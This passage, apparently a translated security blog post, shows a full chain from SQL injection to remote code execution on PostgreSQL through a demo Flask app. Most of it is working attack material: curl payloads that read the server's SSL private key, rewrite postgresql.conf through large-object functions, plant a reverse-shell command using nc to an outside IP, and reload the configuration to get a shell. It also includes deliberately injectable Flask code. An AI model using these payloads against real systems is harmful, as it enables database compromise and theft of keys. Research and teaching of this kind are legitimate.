  17. #ssl_passphrase_command = ''
  18. #ssl_passphrase_command_supports_reload = on

第二步-获取私钥

接下来,我们需要获取私钥

  1. :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/ssl/private/ssl-cert-snakeoil.key')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
  2. :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16443''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" |
  3. tee file
  4. ...snip...
  5. :~$ perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' < file |
  6. perl -pe 's/^.*?<data>(.*?)/$1/g' |
  7. while read i; do echo $i | base64 -d; done > private.key

添加密码:

  1. :~$ openssl rsa -aes256 -in private.key -out private_passphrase.key
  2. writing RSA key
  3. Enter PEM pass phrase: passphrase
  4. Verifying - Enter PEM pass phrase: passphrase

并将结果上传到大对象中。我们可以使用lo_from_bytea创建对象,然后lo_put追加。lo_put返回void,在CASE语句中使用时会引发错误。解决方案是将其包装起来pg_typeof,我们可以对照进行检查int。我用一个粗略的单线将其分解,以便它可以完美GET地适合参数:

  1. :~$ I=0; xxd -p private_passphrase.key |
  2. while read line
  3. do if [ $I == 0 ]
  4. then echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_from_bytea(43210,'\x$line')=%271%27)%20THEN%20name%20ELSE%20note%20END)\""
  5. else echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,$I,'\x$line'))=%271%27)%20THEN%20name%20ELSE%20note%20END)\""
  6. fi ; I=$(($I+30)); done
  7. curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_from_bytea(43210,'\x2d2d2d2d2d424547494e205253412050524956415445204b45592d2d2d2d')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
  8. curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,30,'\x2d0a50726f632d547970653a20342c454e435259505445440a44454b2d49'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"
  9. ...snip...
  10. curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,1740,'\x2d454e44205253412050524956415445204b45592d2d2d2d2d0a'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"

仔细检查上载的密钥是否有意义:

  1. :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''43210''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" |
  2. perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' |
  3. perl -pe 's/^.*?<data>(.*?)/$1/g' |
  4. while read i; do echo $i | base64 -d; done | md5sum
  5. % Total % Received % Xferd Average Speed Time Time Time Current
  6. Dload Upload Total Spent Left Speed
  7. 100 2597 100 2597 0 0 507k 0 --:--:-- --:--:-- --:--:-- 634k
  8. 9f80a502993d721ee45e2c03c0da66c0 -
  9. :~$ md5sum private_passphrase.key
  10. 9f80a502993d721ee45e2c03c0da66c0 private_passphrase.key

甜。如。

第三步-更新配置文件

由于配置文件已经加载到大对象中,因此我们可以将ssl_passphrase_commandssl_passphrase_command_supports_reload命令附加到对象的末尾。#在正确的偏移处插入a 将注释掉原始私钥定义,然后我们可以在末尾附加新的私钥定义。
让我们从弄清楚注释偏移量开始:

  1. :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16442''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" |
  2. perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' |
  3. perl -pe 's/^.*?<data>(.*?)/$1/g' |
  4. while read i; do echo $i | base64 -d; done >postgres.conf
  5. :~$ grep -b -o ssl_key_file postgres.conf
  6. 3968:ssl_key_file
  1. :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,3968,'\x23'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"

现在我们可以将三行添加到配置中:

  1. :~$ wc -c postgres.conf
  2. 24193 postgres.conf
  3. :~$ I=0; echo -e "ssl_key_file = '/var/lib/postgresql/11/main/PG_VERSION'\nssl_passphrase_command_supports_reload = on\nssl_passphrase_command = 'bash -c \"test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0\"'" |
  4. xxd -p | while read line
  5. do echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,$((24193+$I)),'\x$line'))=%271%27)%20THEN%20name%20ELSE%20note%20END)\""; I=$(($I+30))
  6. done
  7. curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,24193,'\x73736c5f636572745f66696c65203d20272f7661722f6c69622f706f7374'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"
  8. ...snip...
  9. curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,24463,'\x6974203027220a'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"

执行完上述操作后,我们可以再次检查对象是否已成功更新:

  1. :~$ curl -s "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16442''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" |
  2. perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' |
  3. perl -pe 's/^.*?<data>(.*?)/$1/g' |
  4. while read i; do echo $i | base64 -d; done |grep ssl
  5. ssl = on
  6. #ssl_ca_file = ''
  7. ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
  8. #ssl_crl_file = ''
  9. #sl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
  10. #ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers
  11. #ssl_prefer_server_ciphers = on
  12. #ssl_ecdh_curve = 'prime256v1'
  13. #ssl_dh_params_file = ''
  14. #ssl_passphrase_command = ''
  15. #ssl_passphrase_command_supports_reload = on
  16. ssl_key_file = '/var/lib/postgresql/11/main/PG_VERSION'
  17. ssl_passphrase_command_supports_reload = on
  18. ssl_passphrase_command = 'bash -c "test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0"'

太棒了 继续。

第四步-将文件写到文件系统

这部分应该相对简单,用于lo_export将文件后台处理到文件系统。16442是配置OID43210是私钥:

  1. :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(16442,'/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
  2. :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(43210,'/var/lib/postgresql/11/main/PG_VERSION')=%271%27)%20THEN%20name%20ELSE%20note%20END)"

如果像我一样,您遭受了利用悲观论的困扰,那么您将在这里重新下载这些文件以再次检查一切是否正确。

第五步-执行!

最后一步是发出select pg_reload()并希望收到外壳!

  1. :~$ curl -s "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20pg_reload_conf()',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
  2. ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  3. <pg_reload_conf>true</pg_reload_conf>
  4. </row>
  5. "
  1. doi@djubre:~$ ncat -vv -k -l -p 8000
  2. Ncat: Version 7.70 ( https://nmap.org/ncat )
  3. Ncat: Listening on :::8000
  4. Ncat: Listening on 0.0.0.0:8000
  5. Ncat: Connection from 192.168.122.7.
  6. Ncat: Connection from 192.168.122.7:44166.
  7. id
  8. uid=108(postgres) gid=114(postgres) groups=114(postgres),113(ssl-cert)
  9. ls -l
  10. total 84
  11. drwx------ 6 postgres postgres 4096 May 1 23:50 base
  12. drwx------ 2 postgres postgres 4096 May 4 20:37 global
  13. drwx------ 2 postgres postgres 4096 May 1 16:31 pg_commit_ts
  14. drwx------ 2 postgres postgres 4096 May 1 16:31 pg_dynshmem
  15. drwx------ 4 postgres postgres 4096 May 4 22:56 pg_logical
  16. drwx------ 4 postgres postgres 4096 May 1 16:31 pg_multixact
  17. drwx------ 2 postgres postgres 4096 May 4 20:36 pg_notify
  18. drwx------ 2 postgres postgres 4096 May 1 16:31 pg_replslot
  19. drwx------ 2 postgres postgres 4096 May 1 16:31 pg_serial
  20. drwx------ 2 postgres postgres 4096 May 1 16:31 pg_snapshots
  21. drwx------ 2 postgres postgres 4096 May 4 20:36 pg_stat
  22. drwx------ 2 postgres postgres 4096 May 1 16:31 pg_stat_tmp
  23. drwx------ 2 postgres postgres 4096 May 1 16:31 pg_subtrans
  24. drwx------ 2 postgres postgres 4096 May 1 16:31 pg_tblspc
  25. drwx------ 2 postgres postgres 4096 May 1 16:31 pg_twophase
  26. -rw------- 1 postgres postgres 1766 May 4 22:48 PG_VERSION
  27. drwx------ 3 postgres postgres 4096 May 1 16:31 pg_wal
  28. drwx------ 2 postgres postgres 4096 May 1 16:31 pg_xact
  29. -rw------- 1 postgres postgres 88 May 1 16:31 postgresql.auto.conf
  30. -rw------- 1 postgres postgres 130 May 4 20:36 postmaster.opts
  31. -rw------- 1 postgres postgres 108 May 4 20:36 postmaster.pid

和强制利用GIF:
【20200505】SQL注入和POSTGRES-最终RCE的冒险 - 图3

摘要

这样就可以了,我们使用了一些有趣的技术来对Postgres DB利用SQLi,而无需执行’CREATE’,’INSERT’或’UPDATE’。这个练习当然很有趣,并且深入研究Postgres内部结构以利用SQLi确实很有趣。
一个拉取请求将发送给PayloadsAllTheThings GitHub存储库,其中包含有关这些技术的信息。
骇客入侵!

附录-转储所有POSTGRES函数并找到其相应方法

这篇文章的大部分内容来自于转储默认Postgres安装中可用的所有功能,并试图找到看起来感兴趣并且可以由默认DB用户执行的东西。您也可以使用以下SQL来转储所有postgres函数:

  1. SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position FROM information_schema.routines LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name;

找到有趣的功能后,通常在源代码树中很容易找到它。使用lo_import作为一个例子:

  1. :~/targets/postgresql-11-11.7/src$ grep -a2 lo_import include/catalog/pg_proc.dat
  2. { oid => '764', descr => 'large object import',
  3. proname => 'lo_import', provolatile => 'v', proparallel => 'u',
  4. prorettype => 'oid', proargtypes => 'text', prosrc => 'be_lo_import' },
  5. { oid => '767', descr => 'large object import',
  6. proname => 'lo_import', provolatile => 'v', proparallel => 'u',
  7. prorettype => 'oid', proargtypes => 'text oid',
  8. prosrc => 'be_lo_import_with_oid' },
  9. { oid => '765', descr => 'large object export',
  10. proname => 'lo_export', provolatile => 'v', proparallel => 'u',

be_lo_import是我们追求的方法,在中定义backend/libpq/be-fsstubs.c

  1. 386 /*
  2. 387 * lo_import -
  3. 388 * imports a file as an (inversion) large object.
  4. 389 */
  5. 390 Datum
  6. 391 be_lo_import(PG_FUNCTION_ARGS)
  7. 392 {
  8. 393 text *filename = PG_GETARG_TEXT_PP(0);
  9. 394
  10. 395 PG_RETURN_OID(lo_import_internal(filename, InvalidOid));
  11. 396 }

您可以看一下其中的内容proargtypespg_proc.dat以了解功能需要输入什么。

附录-测试代码

如果您想自己玩这些技巧,可以使用以下示例代码。这是一个易受SQL注入攻击的简单Flask应用程序,用于通过这篇文章演示SQLi技巧:

  1. # create the DB table with:
  2. # CREATE TABLE animals( id serial PRIMARY KEY, name VARCHAR (50) UNIQUE NOT NULL, note VARCHAR (500) NOT NULL, created_on TIMESTAMP NOT NULL);
  3. # insert into animals (name, note, created_on) values ('dog', 'is a good dog', now());
  4. # insert into animals (name, note, created_on) values ('cat', 'adorable, if passive aggressive', now());
  5. # insert into animals (name, note, created_on) values ('fish', 'fish go blub', now());
  6. # insert into animals (name, note, created_on) values ('whale', 'also go blub', now());
  7. # insert into animals (name, note, created_on) values ('shrimp', 'also go blub', now());
  8. # insert into animals (name, note, created_on) values ('giraffe', 'long neck, neato spots', now());
  9. # insert into animals (name, note, created_on) values ('rock', 'TICKET 1143 rock is not animal', now());
  10. import psycopg2
  11. from flask import Flask
  12. from flask import request
  13. from flask import Response
  14. app = Flask(__name__)
  15. host = "127.0.0.1"
  16. port = "5432"
  17. dbname = "testdb"
  18. user = "testuser"
  19. pw = whateveryousetthetestuserpasswordto
  20. conn = psycopg2.connect(host=host, port=port, dbname=dbname, user=user, password=pw)
  21. cols = ['id','name','note','created_on']
  22. @app.route("/")
  23. def index():
  24. result = "<h1> Test some stuff </h1>"
  25. order = request.args.get("order")
  26. sort = request.args.get("sort")
  27. sqlquery = "select * from animals";
  28. if order in cols:
  29. sqlquery = sqlquery + " order by " + order
  30. if sort:
  31. sqlquery = sqlquery + " " + sort
  32. cur = conn.cursor()
  33. try:
  34. cur.execute(sqlquery)
  35. except psycopg2.Error as e:
  36. conn.rollback()
  37. return Response(e.pgerror, mimetype='text/plain')
  38. result = result + "<table>"
  39. result = result + "<th>id</th>"
  40. result = result + "<th>name</th>"
  41. result = result + "<th>note</th>"
  42. result = result + "<th>created</th>"
  43. rows = cur.fetchall()
  44. for row in rows:
  45. result = result + "<tr>"
  46. result = result + "<td>" + str(row[0]) +"</td>"
  47. result = result + "<td>" + row[1] + "</td>"
  48. result = result + "<td>" + row[2] + "</td>"
  49. result = result + "<td>" + row[3].strftime("%d-%b-%Y (%H:%M:%S.%f)") + "</td>"
  50. result = result + "</tr>"
  51. result = result + "</table>"
  52. conn.commit()
  53. cur.close()
  54. return result
  55. if __name__ == "__main__":
  56. app.run()